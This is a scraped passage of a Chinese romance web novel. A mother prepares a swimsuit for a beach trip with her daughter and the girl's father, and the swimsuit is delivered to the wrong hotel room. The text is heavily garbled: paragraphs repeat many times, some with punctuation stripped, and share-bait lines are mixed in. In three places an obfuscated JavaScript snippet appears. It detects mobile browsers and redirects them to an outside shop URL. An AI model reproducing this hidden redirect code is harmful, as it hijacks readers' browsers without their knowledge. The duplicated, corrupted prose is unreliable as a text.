“青柠,睡觉之前不能太兴奋哦。”温昭宁搂着青柠躺下,“现在,妈妈给你讲故事,我们先把去海边的事情放一放,听个故事就睡觉觉。” “好吧。” 温昭宁给青柠讲了一个小动物们去看海的故事,给她科普了一下去海边要注意的安全常识,故事还没讲完,青柠就睡着了。 房间里安安静静的,温昭宁一想到要和贺淮钦两个人带孩子去海边,心情莫名也有些雀跃,这一雀跃,更睡不着了。 然后,她又想到,自己没有去海边必备的比基尼。 她拿起手机,在购物软件里翻了翻,琳琅满目的比基尼看得她眼花缭乱,那些稍微好看一点的款式,价格都不便宜,那么贵的比基尼买来就穿一次,多少有点不合算。 而且,现在买,后天就能送到吗? 正发愁,手机忽然震了震,是苏云溪的微信。 苏云溪:“听说你和贺淮钦要带青柠去海边?” 温昭宁:“你的消息未免也太灵通了点吧!” 苏云溪:“霍郁州最近刚投资了一个海边亲子酒店,刚刚贺淮钦给他打电话向他打听酒店里有没有儿童乐园和私人沙滩,我听到了。” 温昭宁心头一暖,原来贺淮钦订酒店之前还做了功课,他真的挺上心的。 苏云溪:“比基尼准备好了没有?” 温昭宁:“还没,正在网上看。” 苏云溪:“别看了,我上个月去海边买了五套比基尼,最后只穿了三套,还有两套是全新的,咱俩码数一样,我明天派人给你送过来。” 温昭宁:“你真是我的及时雨。” 苏云溪:“必须的。” 第二天下午,温昭宁就收到了苏云溪给她送来的两套比基尼。 晚上,她拿着纸盒子回家,拆开一看,脸腾的一下就红了。 第一套是藕粉色的,细细的带子,小小的三角,布料少得让人怀疑它到底能不能把该遮住的地方都遮住,更过分的是,那布料还是镂空的,若隐若现的蕾丝花纹,穿上跟没穿区别不大。 第二套更夸张,是那种饱和度很高的明黄色,款式倒是比第一套稍微保守那么一点点,但是,这套是系带式的,也就是说,只要带子一松…… 温昭宁不敢往下想了。 她看着这两套布料少得可怜的比基尼,心跳“咚咚咚”的,快得不像话。 要她在贺淮钦面前穿这个? 光是想象那个画面,她都觉得浑身发烫。 她正打算把这两套比基尼塞回袋子里,苏云溪的信息过来了。 “宁宁,你一定要穿哦,我保证你穿上我送你的比基尼,肯定让某人鼻血溅沙滩!” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 正发愁手机忽然震了震是苏云溪的微信。 苏云溪:“听说你和贺淮钦要带青柠去海边?” 温昭宁:“你的消息未免也太灵通了点吧!” 苏云溪:“霍郁州最近刚投资了一个海边亲子酒店刚刚贺淮钦给他打电话向他打听酒店里有没有儿童乐园和私人沙滩我听到了。” 温昭宁心头一暖原来贺淮钦订酒店之前还做了功课他真的挺上心的。 苏云溪:“比基尼准备好了没有?” 温昭宁:“还没正在网上看。” 苏云溪:“别看了我上个月去海边买了五套比基尼最后只穿了三套还有两套是全新的咱俩码数一样我明天派人给你送过来。” 温昭宁:“你真是我的及时雨。” 苏云溪:“必须的。” 第二天下午温昭宁就收到了苏云溪给她送来的两套比基尼。 晚上她拿着纸盒子回家拆开一看脸腾的一下就红了。 第一套是藕粉色的 第二套更夸张是那种饱和度很高的明黄色款式倒是比第一套稍微保守那么一点点但是这套是系带式的也就是说只要带子一松…… 温昭宁不敢往下想了。 她看着这两套布料少得可怜的比基尼心跳“咚咚咚”的快得不像话。 要她在贺淮钦面前穿这个? 光是想象那个画面她都觉得浑身发烫。 她正打算把这两套比基尼塞回袋子里苏云溪的信息过来了。 “宁宁你一定要穿哦我保证你穿上我送你的比基尼肯定让某人鼻血溅沙滩!” 你的朋友正在书荒,快去帮帮他吧 正发愁,手机忽然震了震,是苏云溪的微信。 苏云溪:“听说你和贺淮钦要带青柠去海边?” 温昭宁:“你的消息未免也太灵通了点吧!” 苏云溪:“霍郁州最近刚投资了一个海边亲子酒店,刚刚贺淮钦给他打电话向他打听酒店里有没有儿童乐园和私人沙滩,我听到了。” 温昭宁心头一暖,原来贺淮钦订酒店之前还做了功课,他真的挺上心的。 苏云溪:“比基尼准备好了没有?” 温昭宁:“还没,正在网上看。” 苏云溪:“别看了,我上个月去海边买了五套比基尼,最后只穿了三套,还有两套是全新的,咱俩码数一样,我明天派人给你送过来。” 温昭宁:“你真是我的及时雨。” 苏云溪:“必须的。” 第二天下午,温昭宁就收到了苏云溪给她送来的两套比基尼。 晚上,她拿着纸盒子回家,拆开一看,脸腾的一下就红了。 第一套是藕粉色的,细细的带子,小小的三角,布料少得让人怀疑它到底能不能把该遮住的地方都遮住,更过分的是,那布料还是镂空的,若隐若现的蕾丝花纹,穿上跟没穿区别不大。 第二套更夸张,是那种饱和度很高的明黄色,款式倒是比第一套稍微保守那么一点点,但是,这套是系带式的,也就是说,只要带子一松…… 温昭宁不敢往下想了。 她看着这两套布料少得可怜的比基尼,心跳“咚咚咚”的,快得不像话。 要她在贺淮钦面前穿这个? 光是想象那个画面,她都觉得浑身发烫。 她正打算把这两套比基尼塞回袋子里,苏云溪的信息过来了。 “宁宁,你一定要穿哦,我保证你穿上我送你的比基尼,肯定让某人鼻血溅沙滩!” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 正发愁,手机忽然震了震,是苏云溪的微信。 苏云溪:“听说你和贺淮钦要带青柠去海边?” 温昭宁:“你的消息未免也太灵通了点吧!” 苏云溪:“霍郁州最近刚投资了一个海边亲子酒店,刚刚贺淮钦给他打电话向他打听酒店里有没有儿童乐园和私人沙滩,我听到了。” 温昭宁心头一暖,原来贺淮钦订酒店之前还做了功课,他真的挺上心的。 苏云溪:“比基尼准备好了没有?” 温昭宁:“还没,正在网上看。” 苏云溪:“别看了,我上个月去海边买了五套比基尼,最后只穿了三套,还有两套是全新的,咱俩码数一样,我明天派人给你送过来。” 温昭宁:“你真是我的及时雨。” 苏云溪:“必须的。” 第二天下午,温昭宁就收到了苏云溪给她送来的两套比基尼。 晚上,她拿着纸盒子回家,拆开一看,脸腾的一下就红了。 第一套是藕粉色的,细细的带子,小小的三角,布料少得让人怀疑它到底能不能把该遮住的地方都遮住,更过分的是,那布料还是镂空的,若隐若现的蕾丝花纹,穿上跟没穿区别不大。 第二套更夸张,是那种饱和度很高的明黄色,款式倒是比第一套稍微保守那么一点点,但是,这套是系带式的,也就是说,只要带子一松…… 温昭宁不敢往下想了。 她看着这两套布料少得可怜的比基尼,心跳“咚咚咚”的,快得不像话。 要她在贺淮钦面前穿这个? 光是想象那个画面,她都觉得浑身发烫。 她正打算把这两套比基尼塞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215271|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回袋子里,苏云溪的信息过来了。 “宁宁,你一定要穿哦,我保证你穿上我送你的比基尼,肯定让某人鼻血溅沙滩!” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 正发愁,手机忽然震了震,是苏云溪的微信。 苏云溪:“听说你和贺淮钦要带青柠去海边?” 温昭宁:“你的消息未免也太灵通了点吧!” 苏云溪:“霍郁州最近刚投资了一个海边亲子酒店,刚刚贺淮钦给他打电话向他打听酒店里有没有儿童乐园和私人沙滩,我听到了。” 温昭宁心头一暖,原来贺淮钦订酒店之前还做了功课,他真的挺上心的。 苏云溪:“比基尼准备好了没有?” 温昭宁:“还没,正在网上看。” 苏云溪:“别看了,我上个月去海边买了五套比基尼,最后只穿了三套,还有两套是全新的,咱俩码数一样,我明天派人给你送过来。” 温昭宁:“你真是我的及时雨。” 苏云溪:“必须的。” 第二天下午,温昭宁就收到了苏云溪给她送来的两套比基尼。 晚上,她拿着纸盒子回家,拆开一看,脸腾的一下就红了。 第一套是藕粉色的,细细的带子,小小的三角,布料少得让人怀疑它到底能不能把该遮住的地方都遮住,更过分的是,那布料还是镂空的,若隐若现的蕾丝花纹,穿上跟没穿区别不大。 第二套更夸张,是那种饱和度很高的明黄色,款式倒是比第一套稍微保守那么一点点,但是,这套是系带式的,也就是说,只要带子一松…… 温昭宁不敢往下想了。 她看着这两套布料少得可怜的比基尼,心跳“咚咚咚”的,快得不像话。 要她在贺淮钦面前穿这个? 光是想象那个画面,她都觉得浑身发烫。 她正打算把这两套比基尼塞回袋子里,苏云溪的信息过来了。 “宁宁,你一定要穿哦,我保证你穿上我送你的比基尼,肯定让某人鼻血溅沙滩!” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 正发愁手机忽然震了震是苏云溪的微信。 苏云溪:“听说你和贺淮钦要带青柠去海边?” 温昭宁:“你的消息未免也太灵通了点吧!” 苏云溪:“霍郁州最近刚投资了一个海边亲子酒店刚刚贺淮钦给他打电话向他打听酒店里有没有儿童乐园和私人沙滩我听到了。” 温昭宁心头一暖原来贺淮钦订酒店之前还做了功课他真的挺上心的。 苏云溪:“比基尼准备好了没有?” 温昭宁:“还没正在网上看。” 苏云溪:“别看了我上个月去海边买了五套比基尼最后只穿了三套还有两套是全新的咱俩码数一样我明天派人给你送过来。” 温昭宁:“你真是我的及时雨。” 苏云溪:“必须的。” 第二天下午 晚上她拿着纸盒子回家拆开一看脸腾的一下就红了。 第一套是藕粉色的细细的带子小小的三角布料少得让人怀疑它到底能不能把该遮住的地方都遮住更过分的是那布料还是镂空的若隐若现的蕾丝花纹穿上跟没穿区别不大。 第二套更夸张是那种饱和度很高的明黄色款式倒是比第一套稍微保守那么一点点但是这套是系带式的也就是说只要带子一松…… 温昭宁不敢往下想了。 她看着这两套布料少得可怜的比基尼心跳“咚咚咚”的快得不像话。 要她在贺淮钦面前穿这个? 光是想象那个画面她都觉得浑身发烫。 她正打算把这两套比基尼塞回袋子里苏云溪的信息过来了。 “宁宁你一定要穿哦我保证你穿上我送你的比基尼肯定让某人鼻血溅沙滩!” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 正发愁,手机忽然震了震,是苏云溪的微信。 苏云溪:“听说你和贺淮钦要带青柠去海边? 温昭宁:“你的消息未免也太灵通了点吧! 苏云溪:“霍郁州最近刚投资了一个海边亲子酒店,刚刚贺淮钦给他打电话向他打听酒店里有没有儿童乐园和私人沙滩,我听到了。 温昭宁心头一暖,原来贺淮钦订酒店之前还做了功课,他真的挺上心的。 苏云溪:“比基尼准备好了没有? 温昭宁:“还没,正在网上看。 苏云溪:“别看了,我上个月去海边买了五套比基尼,最后只穿了三套,还有两套是全新的,咱俩码数一样,我明天派人给你送过来。 温昭宁:“你真是我的及时雨。 苏云溪:“必须的。 第二天下午,温昭宁就收到了苏云溪给她送来的两套比基尼。 晚上,她拿着纸盒子回家,拆开一看,脸腾的一下就红了。 第一套是藕粉色的,细细的带子,小小的三角,布料少得让人怀疑它到底能不能把该遮住的地方都遮住,更过分的是,那布料还是镂空的,若隐若现的蕾丝花纹,穿上跟没穿区别不大。 第二套更夸张,是那种饱和度很高的明黄色,款式倒是比第一套稍微保守那么一点点,但是,这套是系带式的,也就是说,只要带子一松…… 温昭宁不敢往下想了。 她看着这两套布料少得可怜的比基尼,心跳“咚咚咚 要她在贺淮钦面前穿这个? 光是想象那个画面,她都觉得浑身发烫。 她正打算把这两套比基尼塞回袋子里,苏云溪的信息过来了。 “宁宁,你一定要穿哦,我保证你穿上我送你的比基尼,肯定让某人鼻血溅沙滩! 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 第144章 一定好看 鼻血溅沙滩也太夸张了。 温昭宁可不想让贺淮钦觉得她别有用心。 她果断打开手机,不再犹豫价钱,直接下单了一套白色的比基尼,款式简约大方,最重要的是,这套比基尼配套有一件同色系的薄纱罩衫,长及大腿中部,该遮的地方都能遮住。 怕时间来不及,温昭宁把地址填了海边那家亲子酒店,备注“前台代收”。 六一儿童节的那一天是周五,青柠的幼儿园也有活动,贺淮钦和温昭宁特地等青柠参加完幼儿园的活动,才带她起程去海边。 一路上,青柠特别兴奋,她趴在车窗边,小脸贴在玻璃上,眼睛瞪得圆圆的,看什么都新鲜。 到了机场,贺淮钦把她抱到行李箱上,一路推着她走,青柠小手指指点点,嘴巴更是问个不停。 “爸爸,飞机为什么那么大?” “爸爸,我们坐的飞机会飞多高?” “爸爸,天上有没有红绿灯?” 贺淮钦耐心地一一回答青柠的问题,还时不时侧眸关注温昭宁有没有跟上。 温昭宁走在一旁,看着这一幕,心里涌起奇异的温柔。 这就是一家三口出行的感觉吗? 飞机降落时,青柠透过舷窗,第一次看到了真正的海。 那片无边无际、蓝得像宝石一样的海面,在阳光下闪着碎碎的光。 “妈妈!看!是大海!大海!”青柠开心地大喊。 温昭宁对她比了个“嘘”的手势:“宝贝,我们还在飞机上,声音轻一点,不要吵到别人,我们马上下飞机就可以去海边玩了。” 青柠立刻点点头,放轻了声音:“好的,我知道了妈妈。” 下飞机后,贺淮钦安排了司机送他们去酒店。 霍郁州的这家亲子酒店,刚开业不久,听说光是装修,就投了一个多亿。 酒店的大堂,设计得和海洋馆似的,青柠一进门就被吸引住了,拉着温昭宁的手到处看鱼。 办理好入住后,服务员领着他们去了房间。 贺淮钦订的两间房相邻,都在十六楼,推开窗户就能看到远处的大海。 青柠在两间房里蹿来蹿去的,像只快乐的小兔子。 她先跑进温昭宁的房间,爬到沙 发上蹦两下又跑到贺淮钦的房间拉开窗帘看风景。 “哇!爸爸的房间能看到摩天轮!” 远处海岸线的尽头伫立着一座巨大的摩天轮在午后的阳光下泛着银色的光泽缓缓转动着。 青柠喜欢的不得了。 “妈妈妈妈!爸爸的房间能看到摩天轮我们和爸爸换一个房间吧!” 两个房间的构造是一模一样的对大人来说睡哪儿都一样青柠想换温昭宁和贺淮钦肯定没有意见。 “好那就换一下。”—— 两人调换了房间。 贺淮钦刚准备收拾行李敲门声响起。 他以为是温昭宁快步过去开门。 门外站着的却是客房服务员服务员手里拿着一个快递盒子:“贺先生您好这是前台让我送上来的说是您的快递。” “我的快递?” “是的面单上写着您的名字。” 贺淮钦接过来看了一眼果然面单上写着他的名字。 “好谢谢。” 贺淮钦拿了快递进门 是布料但又是好少的布料甚至都盈不满他一掌心。 什么东西? 贺淮钦展开看了一眼。 下一瞬他的眉心一跳。 这是一套白色的比基尼。 干干净净的纯白色。 款式简单大方上面是细细的肩带裤子带着裙边外面还配了一个同色系的薄纱罩衫。 这是谁买的比基尼? 为什么快递盒子上会写着他的名字? 贺淮钦正好奇门外又是一阵敲门声。 这次的敲门声又急又响几乎是在砸门。 “贺淮钦!开门!”温昭宁的声音透过门板传来带着明显的焦急和慌张。 贺淮钦看了一眼手里的比基尼再听听她的声音瞬间有了答案。 这比基尼是温昭宁的!

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220273|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他的脑海里下意识地闪现了她穿上这件衣服的样子。 血液似乎都在往某个方向涌去带来一阵阵燥热。 他的心跳快得几乎要撞破胸腔。 贺淮钦深吸一口气将比基尼塞回盒子里走过去开门。 温昭宁站在门外脸颊微红不知道是跑过来热的还是急的贺淮钦开门的瞬间她的目光第一时间越过他扫视他的房间。 “我的快递送错了!前台说送到你这里来了。” 因为酒店的房间是贺淮钦订的温昭宁在下单比基尼的时候收件人那一栏填写了贺淮钦的名字就是怕送错她还特地备注了她的房间号。 只是计划赶不上变化因为青柠想看摩天轮她和贺淮钦临时换了房间最后快递还真送错了。 “是送我这里来了。抱歉因为写了我的名字我想看看里面是什么就拆了。” “你拆了?”她的声音有点发紧“在哪儿?” 贺淮钦侧身。 温昭宁的视线没有了他身体的遮挡看到桌上已经拆封的快递盒子。 快递盒子里露出一条白色的吊带。 显然他不止拆了快递他还拿出来看了。 温昭宁一想到自己的比基尼在他手里过了一遍她的脸腾地一下红到了脖子根她几乎是冲进房间一把抓起桌上的快递盒把那露在外面的布料塞进去掩紧盖子抱在怀里动作一气呵成。 贺淮钦站在原地看着她那副又羞又窘的样子嘴角微微动了一下想笑但又忍住了。 “本来就是穿给人看的你藏什么?” “那不一样?” “怎么不一样?” 温昭宁想说看过和摸过能一样吗但是她不好意思说出口。 “反正就是不一样。” 两人面对面站着距离不过一米她抱着快递盒像抱着什么宝贝他看着她 “我先过去了。”温昭宁说“等下青柠会找我。” 她说着转身就走。 贺淮钦站在原地看着她窈窕的背影有点期待她明天穿上这套比基尼的样子。 她穿一定好看。 第145章 学游泳 第二天上午,温昭宁醒得很早。 她起来的时候,青柠还睡着。 温昭宁轻轻起身,走到窗边,拉开了窗帘。 远处的大海在晨光中泛着粼粼的波光,天空是那种很干净的淡蓝色,几朵白云悠悠地飘着,沙滩上早已有游客在散步。 她回头看了眼静静躺在衣柜里的那套比基尼。 犹豫了片刻,还是拿去浴室换上了。 自从成为母亲,温昭宁就没有穿过这么性感的衣服了,她差点忘了,自己也可以这样肆意好看。 这套比基尼很合身,也很合她心意。 “妈妈…… 温昭宁在照镜子的时候,青柠醒了。 “宝贝,你醒啦。 面对青柠的目光,温昭宁起初还有点不自然,没想到青柠直接朝她竖了竖大拇指:“妈妈,你这样穿好好看哦,像个白白的天使。 “谢谢宝贝的夸奖,你的夸奖让妈妈更自信了。 “嘻嘻,妈妈在青柠心里,永远都是最美的。 “青柠在妈妈心里,也永远是最可爱最漂亮的宝贝。 两人互吹了一会儿彩虹屁后,青柠才起床。 温昭宁刚给青柠扎好头发,贺淮钦打电话来了。 “准备好了吗?他问。 “准备好了。 “那直接去沙滩上吧,早餐我已经安排人送过去了。 “好。 温昭宁牵着青柠走出房门,正好,贺淮钦也从房间里走了出来。 他今天穿了一件浅灰色的亚麻衬衫,袖子随意挽到手肘,下面是同色系的短裤,一双人字拖,整个人清爽干净又带着些许松弛感。 “爸爸! 青柠一身可爱的樱桃小泳装,特别软萌可爱。 贺淮钦只看了一眼,心就化了:“宝贝今天真漂亮。 “那妈妈呢,妈妈漂亮不漂亮? 贺淮钦其实打开门的瞬间就注意到了温昭宁穿着那套比基尼,因为担心太冒犯,他没敢细看,现在青柠问了,他顺势大大方方地看向她。 温昭宁本来就白,这白色的布料更像是为她打了光,衬得她的皮肤越发白皙,比基尼细细的带子绕过她的肩颈,胸前的布料遮住了 该遮住的地方却又若隐若现地勾勒出她起伏的曲线那层纤薄的罩衫比不穿更多了几分欲说还休的意味。 “妈妈也漂亮。”贺淮钦喉咙发紧。 三人一起来到沙滩上。 沙滩上人很多温昭宁这身打扮很快就吸引了不少男士的目光尤其是她那双纤细白皙的大长腿。 有几个男人甚至频频向她望过来。 贺淮钦注意到了。 他的眉头微微蹙起不动声色地走到温昭宁的身边高大的身形正好挡住了那些视线。 坐下吃早餐的时候贺淮钦向侍者要来了一张小薄毯递给温昭宁。 “干嘛?”温昭宁不明所以。 “盖腿。”贺淮钦说。 “我不冷。” “防晒。” “我涂了防晒霜了。” 贺淮钦彻底没招了只好讪讪收回那张小薄毯盖在了自己的腿上。—— 吃过早餐青柠彻底放飞了。 她先是在沙滩上疯跑接着就用小铲子开始认真地挖沙、堆砌 温昭宁在旁陪着时不时帮青柠递水、递工具、拍照。 贺淮钦虽说来度假但工作电话一停不停。 他站在不远处手机贴在耳边目光却像是雷达似的扫视着温昭宁周围那些“不怀好意”的男人。 “嗯那个方案我看过了细节还需要调整具体怎么调整等我回去再说……合同的事情先不急让他们再核对一下确保万无一失……还有别再给我打电话了!” 贺淮钦接完手上的这个电话就把手机开了静音。 他拿了瓶矿泉水朝温昭宁走过去。 温昭宁正弯腰帮青柠拍沙堡长发垂落下来在风里轻轻晃动青柠不知说了句什么她被逗笑梨涡浅浅整个人温柔得像是会发光。 阳光、沙滩、海浪、孩子还有她。 这样的画面他看了无数次却怎么也看不够。 “爸爸!爸爸快来!”青柠看到他立刻兴奋地朝他招手“快来看看我的城堡!” 贺淮钦走到她们身边先把矿泉水递给温昭宁。 “你一直在照顾青柠自己也喝口水吧。” “谢谢。”温昭宁还真有点渴了她出来只带了青柠的水杯忘了带她自己的了。 “不客气。” 贺淮钦蹲到青柠旁边。 青柠忙不迭地让他看自己搭的城堡。 这沙子城堡确实搭得有模有样城墙厚实塔楼高耸 “宝贝真厉害。”贺淮钦夸道。 “妈妈也帮了忙的。” “那妈妈也厉害。” “爸爸我给你介绍一下吧。”青柠指着沙堡里的布局认真地给他讲解“爸爸你看这个是客厅我们可以在里面吃饭看电视!这个是卧室有两张床一张大的一张小的我们三个人可以在里面睡觉觉。” 青柠的话音落下海风似乎静止了一瞬。 他们三个人两张床一张大的一张小的请问这要怎么睡? 贺淮钦抬眸看向温昭宁。 温昭宁触到贺淮钦的目光赶紧低头去整理挖沙子的工具假装自己什么都没有听到。 三人又蹲着一起玩了一会儿沙子挖了一会儿贝壳。 青柠玩厌了又有了新主意。 “爸爸妈妈那里有浪我们一起去踩水吧。” 她说着拔腿就跑。 温昭宁起身慢了赶紧推了推贺淮钦示意他跟着。 贺淮钦跑过去牵住了青柠的手。 青柠的小脚丫一次次试探着涌上来的海浪被冰凉的触感激得咯咯直笑贺淮钦陪着她在浅水区来回跑偶尔一个稍大的浪涌过来他就把女儿抱起来等浪褪去再把她放下。 很快青柠又不满足于此。 “爸爸。”青柠看向贺淮钦“你之前说要教我学游泳今天可以学吗?” “可以学但不能在海里我们回酒店去泳池里学好不好?” “好!” 青柠只要能玩到水对她来说大海和泳池差别不大。 贺淮钦看向温昭宁:“正好今天也教你学游泳。” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 “谢谢。”温昭宁还真有点渴了,她出来只带了青柠的水杯,忘了带她自己的了。 “不客气。” 贺淮钦蹲到青柠旁边。 青柠忙不迭地让他看自己搭的城堡。 这沙子城堡确实搭得有模有样,城墙厚实,塔楼高耸,护城河环绕,看得出来花了不少心思。 “宝贝真厉害。”贺淮钦夸道。 “妈妈也帮了忙的。” “那妈妈也厉害。” “爸爸,我给你介绍一下吧。”青柠指着沙堡里的布局,认真地给他讲解,“爸爸你看,这个是客厅,我们可以在里面吃饭看电视!这个是卧室,有两张床,一张大的,一张小的,我们三个人可以在里面睡觉觉。” 青柠的话音落下,海风似乎静止了一瞬。 他们三个人,两张床,一张大的一张小的,请问这要怎么睡? 贺淮钦抬眸,看向温昭宁。 温昭宁触到贺淮钦的目光,赶紧低头去整理挖沙子的工具,假装自己什么都没有听到。 三人又蹲着一起玩了一会儿沙子,挖了一会儿贝壳。 青柠玩厌了,又有了新主意。 “爸爸妈妈,那里有浪,我们一起去踩水吧。” 她说着拔腿就跑。 温昭宁起身慢了,赶紧推了推贺淮钦,示意他跟着。 贺淮钦跑过去,牵住了青柠的手。 青柠的小脚丫一次次试探着涌上来的海浪,被冰凉的触感激得咯咯直笑,贺淮钦陪着她在浅水区来回跑,偶尔一个稍大的浪涌过来,他就把女儿抱起来,等浪褪去再把她放下。 很快,青柠又不满足于此。 “爸爸。”青柠看向贺淮钦,“你之前说要教我学游泳,今天可以学吗?” “可以学,但不能在海里,我们回酒店,去泳池里学好不好?” “好!” 青柠只要能玩到水,对她来说,大海和泳池差别不大。 贺淮钦看向温昭宁:“正好,今天也教你学游泳。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 “谢谢。”温昭宁还真有点渴了,她出来只带了青柠的水杯,忘了带她自己的了。 “不客气。” 贺淮钦蹲到青柠旁边。 青柠忙不迭地让他看自己搭的城堡。 这沙子城堡确实搭得有模有样,城墙厚实,塔楼高耸,护城河环绕,看得出来花了不少心思。 “宝贝真厉害。”贺淮钦夸道。 “妈妈也帮了忙的。” “那妈妈也厉害。” “爸爸,我给你介绍一下吧。”青柠指着沙堡里的布局,认真地给他讲解,“爸爸你看,这个是客厅,我们可以在里面吃饭看电视!这个是卧室,有两张床,一张大的,一张小的,我们三个人可以在里面睡觉觉。” 青柠的话音落下,海风似乎静止了一瞬。 他们三个人,两张床,一张大的一张小的,请问这要怎么睡? 贺淮钦抬眸,看向温昭宁。 温昭宁触到贺淮钦的目光,赶紧低头去整理挖沙子的工具,假装自己什么都没有听到。 三人又蹲着一起玩了一会儿沙子,挖了一会儿贝壳。 青柠玩厌了,又有了新主意。 “爸爸妈妈,那里有浪,我们一起去踩水吧。” 她说着拔腿就跑。 温昭宁起身慢了,赶紧推了推贺淮钦,示意他跟着。 贺淮钦跑过去,牵住了青柠的手。 青柠的小脚丫一次次试探着涌上来的海浪,被冰凉的触感激得咯咯直笑,贺淮钦陪着她在浅水区来回跑,偶尔一个稍大的浪涌过来,他就把女儿抱起来,等浪褪去再把她放下。 很快,青柠又不满足于此。 “爸爸。”青柠看向贺淮钦,“你之前说要教我学游泳,今天可以学吗?” “可以学,但不能在海里,我们回酒店,去泳池里学好不好?” “好!” 青柠只要能玩到水,对她来说,大海和泳池差别不大。 贺淮钦看向温昭宁:“正好,今天也教你学游泳。” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 “谢谢。”温昭宁还真有点渴了她出来只带了青柠的水杯忘了带她自己的了。 “不客气。” 贺淮钦蹲到青柠旁边。 青柠忙不迭地让他看自己搭的城堡。 这沙子城堡确实搭得有模有样城墙厚实塔楼高耸护城河环绕看得出来花了不少心思。 “宝贝真厉害。”贺淮钦夸道。 “妈妈也帮了忙的。” “那妈妈也厉害。” “爸爸我给你介绍一下吧。”青柠指着沙堡里的布局认真地给他讲解“爸爸你看这个是客厅我们可以在里面吃饭看电视!这个是卧室有两张床一张大的一张小的我们三个人可以在里面睡觉觉。” 青柠的话音落下海风似乎静止了一瞬。 他们三个人两张床一张大的一张小的请问这要怎么睡? 贺淮钦抬眸看向温昭宁。 温昭宁触到贺淮钦的目光 三人又蹲着一起玩了一会儿沙子挖了一会儿贝壳。 青柠玩厌了又有了新主意。 “爸爸妈妈那里有浪我们一起去踩水吧。” 她说着拔腿就跑。 温昭宁起身慢了赶紧推了推贺淮钦示意他跟着。 贺淮钦跑过去牵住了青柠的手。 青柠的小脚丫一次次试探着涌上来的海浪被冰凉的触感激得咯咯直笑贺淮钦陪着她在浅水区来回跑偶尔一个稍大的浪涌过来他就把女儿抱起来等浪褪去再把她放下。 很快青柠又不满足于此。 “爸爸。”青柠看向贺淮钦“你之前说要教我学游泳今天可以学吗?” “可以学但不能在海里我们回酒店去泳池里学好不好?” “好!” 青柠只要能玩到水对她来说大海和泳池差别不大。 贺淮钦看向温昭宁:“正好今天也教你学游泳。” 听说看这本书的人都是很幸运的,分享后你的运气会更棒< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220274|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “谢谢。”温昭宁还真有点渴了她出来只带了青柠的水杯忘了带她自己的了。 “不客气。” 贺淮钦蹲到青柠旁边。 青柠忙不迭地让他看自己搭的城堡。 这沙子城堡确实搭得有模有样城墙厚实塔楼高耸护城河环绕看得出来花了不少心思。 “宝贝真厉害。”贺淮钦夸道。 “妈妈也帮了忙的。” “那妈妈也厉害。” “爸爸我给你介绍一下吧。”青柠指着沙堡里的布局认真地给他讲解“爸爸你看这个是客厅我们可以在里面吃饭看电视!这个是卧室有两张床一张大的一张小的我们三个人可以在里面睡觉觉。” 青柠的话音落下海风似乎静止了一瞬。 他们三个人两张床一张大的一张小的请问这要怎么睡? 贺淮钦抬眸看向温昭宁。 温昭宁触到贺淮钦的目光赶紧低头去整理挖沙子的工具假装自己什么都没有听到。 三人又蹲着一起玩了一会儿沙子挖了一会儿贝壳。 青柠玩厌了又有了新主意。 “爸爸妈妈那里有浪我们一起去踩水吧。” 她说着拔腿就跑。 温昭宁起身慢了赶紧推了推贺淮钦示意他跟着。 贺淮钦跑过去牵住了青柠的手。 青柠的小脚丫一次次试探着涌上来的海浪被冰凉的触感激得咯咯直笑贺淮钦陪着她在浅水区来回跑偶尔一个稍大的浪涌过来他就把女儿抱起来 很快青柠又不满足于此。 “爸爸。”青柠看向贺淮钦“你之前说要教我学游泳今天可以学吗?” “可以学但不能在海里我们回酒店去泳池里学好不好?” “好!” 青柠只要能玩到水对她来说大海和泳池差别不大。 贺淮钦看向温昭宁:“正好今天也教你学游泳。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 “谢谢。”温昭宁还真有点渴了,她出来只带了青柠的水杯,忘了带她自己的了。 “不客气。” 贺淮钦蹲到青柠旁边。 青柠忙不迭地让他看自己搭的城堡。 这沙子城堡确实搭得有模有样,城墙厚实,塔楼高耸,护城河环绕,看得出来花了不少心思。 “宝贝真厉害。”贺淮钦夸道。 “妈妈也帮了忙的。” “那妈妈也厉害。” 